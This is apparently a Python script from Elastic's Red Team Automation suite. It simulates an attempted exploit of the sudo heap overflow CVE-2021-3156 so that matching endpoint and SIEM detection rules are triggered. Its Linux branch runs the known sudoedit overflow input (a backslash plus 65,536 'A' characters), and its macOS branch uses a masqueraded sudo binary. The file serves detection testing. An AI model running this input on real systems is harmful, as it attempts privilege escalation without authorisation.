Mika Ayenson
42 lines
1.5 KiB
Python
42 lines
1.5 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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from . import common
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from . import RtaMetadata
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metadata = RtaMetadata(
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uuid="da35cb80-dad9-4995-ac11-6a408843cd12",
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platforms=["linux", "macos"],
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endpoint=[
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{"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "95718a3c-edc7-46ef-978b-77891ca6198f"}
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],
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siem=[{"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "f37f3054-d40b-49ac-aa9b-a786c74c58b8"}],
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techniques=["T1068", "T1059"],
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)
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@common.requires_os(metadata.platforms)
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def main():
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common.log(
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"Executing command to simulate attempted use of a heap-based buffer overflow vulnerability for the "
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"Sudo binary in Unix-like systems(CVE-2021-3156)"
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)
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# The exploit reproduction is available
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# https://www.sudo.ws/security/advisories/unescape_overflow/
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# https://blog.aquasec.com/cve-2021-3156-sudo-vulnerability-allows-root-privileges
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if common.CURRENT_OS == "macos":
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masquerade = "/tmp/sudo"
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common.create_macos_masquerade(masquerade)
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common.execute([masquerade, "-s", "sudoedit", "*\\\\"], timeout=10, kill=True)
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else:
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cmd = """sudoedit -s '\\' `perl -e 'print "A" x 65536'`"""
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common.execute(f'bash -c "{cmd}"', shell=True)
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if __name__ == "__main__":
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exit(main())
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